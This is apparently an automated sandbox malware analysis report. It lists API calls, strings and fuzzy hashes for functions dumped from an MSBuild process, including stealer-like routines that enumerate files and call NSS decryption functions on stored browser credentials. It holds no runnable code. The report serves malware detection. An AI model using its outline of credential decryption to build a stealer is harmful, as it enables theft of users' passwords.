Part of subcall function 6C54F070: AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F44D
Part of subcall function 6C54F070: ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F4A8
GetCurrentThreadId.KERNEL32 ref: 6C54F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F561
GetCurrentThreadId.KERNEL32 ref: 6C54F577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F585
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C54F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C54F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C54F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C54F56A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 679853bbc95144af9276d91ae6baa80eada1a23ad7d2cfd78ac93d05d2ded500
Instruction ID: 44c735f24241982849936393c24bf798ba42781498188fd26736f19ebce5ee37
Opcode Fuzzy Hash: 679853bbc95144af9276d91ae6baa80eada1a23ad7d2cfd78ac93d05d2ded500
Instruction Fuzzy Hash: C0D12B31606230DFDB00EF68DC047AA77F8EB8B328F11571AE95593B91DB715808C7AA

Function 6C5164C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5164DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5164F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C516505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C516518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C51652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C51671C
GetCurrentProcess.KERNEL32 ref: 6C516724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C51672F
GetCurrentProcess.KERNEL32 ref: 6C516759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C516764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C516A80
GetSystemInfo.KERNEL32(?), ref: 6C516ABE
__Init_thread_footer.LIBCMT ref: 6C516AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C516AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C516AF7

Strings

user32.dll, xrefs: 6C516526
nvd3d9wrap.dll, xrefs: 6C516500
nvdxgiwrap.dll, xrefs: 6C516513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C516798
_etoured.dll, xrefs: 6C5164ED
detoured.dll, xrefs: 6C5164DA

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b7735e80a63461db5a99e9194eb236483fb6d9d5ea4a924323c64d0322f9580c
Instruction ID: 3347e49f6074858982839eaace3ee2f3cadcccfc6c021a331294a46f0ac1eb04
Opcode Fuzzy Hash: b7735e80a63461db5a99e9194eb236483fb6d9d5ea4a924323c64d0322f9580c
Instruction Fuzzy Hash: D9F1A470909329DFEB20DF24CC4CB9AB7B5EF46318F154299D809A7A41DB31AE84CF91

Function 004138B0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s\%s\%s, xrefs: 00413A4A
%s%s, xrefs: 00413AAD
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s, xrefs: 0041397A
%s\%s, xrefs: 00413A6F
%s\*, xrefs: 004138C0

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-817767981
Opcode ID: c160324fee9f290d05effc3aa5b0fa9495973b4ff355d4639833e8346a244a75
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: c160324fee9f290d05effc3aa5b0fa9495973b4ff355d4639833e8346a244a75
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 00419010 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: d2d97f149455d52a142a4a5a9fee1aff0f128d9dd92e2b14736a525e33f1e636
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: d2d97f149455d52a142a4a5a9fee1aff0f128d9dd92e2b14736a525e33f1e636
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 00414570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
HeapAlloc.KERNEL32(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcatA.KERNEL32(?,01354D30,?,00000104), ref: 004146C5
lstrcatA.KERNEL32(?,013557E0), ref: 004146D8
lstrlenA.KERNEL32(?), ref: 004146E5
lstrlenA.KERNEL32(?), ref: 004146F6

Strings

%s\%s, xrefs: 0041461B
%s\*, xrefs: 0041459A

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 419923a9e08405b21d936003359c3c873ff73b1994b3a3dbc6781c2d7c9f8699
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: 419923a9e08405b21d936003359c3c873ff73b1994b3a3dbc6781c2d7c9f8699
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 6C517810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E744), ref: 6C517885
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C5178A5
EnterCriticalSection.KERNEL32(6C58E784), ref: 6C5178AD
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C5178CD
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C5178D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5178E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C51795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5179BB
LeaveCriticalSection.KERNEL32(?), ref: 6C517BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C517C82
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C517CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C517DAF

Strings

DXl, xrefs: 6C51789F
DXl, xrefs: 6C51787F

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DXl$DXl
API String ID: 759993129-179974443
Opcode ID: 6f58ac5a112427e179f436fca9730ac97292d3cdde6843bd072905fbe779907b
Instruction ID: 5d36a098510720a2d4876b9d7b78f55e48144a5a19cc9beb471eca62227e5e8e
Opcode Fuzzy Hash: 6f58ac5a112427e179f436fca9730ac97292d3cdde6843bd072905fbe779907b
Instruction Fuzzy Hash: C3028235A052198FEB54CF19CD88799B7B5FF89358F2542AAD809A7B11D730BE90CF80

Function 6C547E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C548280, 6C5483E1
name, xrefs: 6C547ECF, 6C548335
vXl, xrefs: 6C548207
(pre-xul), xrefs: 6C547E88
schema, xrefs: 6C5481E3, 6C548311

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vXl
API String ID: 3412268980-3775262732
Opcode ID: 6525ce6b1adf8d5372eb5ff305e4600b321f93d984c0c22a53981f797d688227
Instruction ID: 9beef3e71fe94c527634fd49cc2da64ede3957363a682e1ec83bf528e6a04867
Opcode Fuzzy Hash: 6525ce6b1adf8d5372eb5ff305e4600b321f93d984c0c22a53981f797d688227
Instruction Fuzzy Hash: D5E18EB1B043548BD710CF688C4066BFBE9BBD4314F148A2DE899E7B90DBB4DC498B91

Function 0040ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 75e15ae0cdc5bd11ea3164567e07e25f29e8f588a92aa6ab9e0e53c38801dc64
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 75e15ae0cdc5bd11ea3164567e07e25f29e8f588a92aa6ab9e0e53c38801dc64
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 6C52D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D4F2
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D50B

Part of subcall function 6C50CFE0: EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
Part of subcall function 6C50CFE0: LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D52E
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52D6A6
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D712
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52D7EA

Strings

<jemalloc>, xrefs: 6C52D827
: (malloc) Error initializing arena, xrefs: 6C52D82C

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 6a73811994202a2a0d8b627c8a5e77800609f11860405eea3adddf4d3dc9ef04
Instruction ID: b99f03fd2ab2a3a81a0395265249fd9e6c01f1406b7a3976eaffd1dcf84521cf
Opcode Fuzzy Hash: 6a73811994202a2a0d8b627c8a5e77800609f11860405eea3adddf4d3dc9ef04
Instruction Fuzzy Hash: DA919E71A057518FD714CF28C89076AB7F1EF8A314F15892EE59AC7AC1E778E844CB82

Function 0040C820 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,01354F10), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
memcpy.MSVCRT(?,?,?), ref: 0040C912
lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
PK11_FreeSlot.NSS3(?), ref: 0040C961
lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction ID: 73a89fe7b99aa7d2364cb4d3d60341f0774d48a816bcca14cb071eff5a8018ea
Opcode Fuzzy Hash: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction Fuzzy Hash: 694164B8944219EFDB10DFE4DD89BEEBBB8BB44304F1041A9F509A6280D7745A84CF95

Function 6C564EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C564EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C564F2E
moz_xmalloc.MOZGLUE ref: 6C564F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C564F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5652B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5652E6
Sleep.KERNEL32(00000010), ref: 6C565481
free.MOZGLUE(?), ref: 6C565498

Strings

(, xrefs: 6C565250

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 3046ce39170ca8b99da1f74ad59ed0e49ae04f9b904b4c2a7893e052769b4c02
Instruction ID: 1f517b0fbd09e710e0f7df0e6ae6f5aa5b5ff3a272268348e14b65ffcd6af39a
Opcode Fuzzy Hash: 3046ce39170ca8b99da1f74ad59ed0e49ae04f9b904b4c2a7893e052769b4c02
Instruction Fuzzy Hash: 0FF1D271A19B508FC716CF39CC5062BB7F5AFD6384F068B2EF846A7651DB3198428B81

Function 0040DE10 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

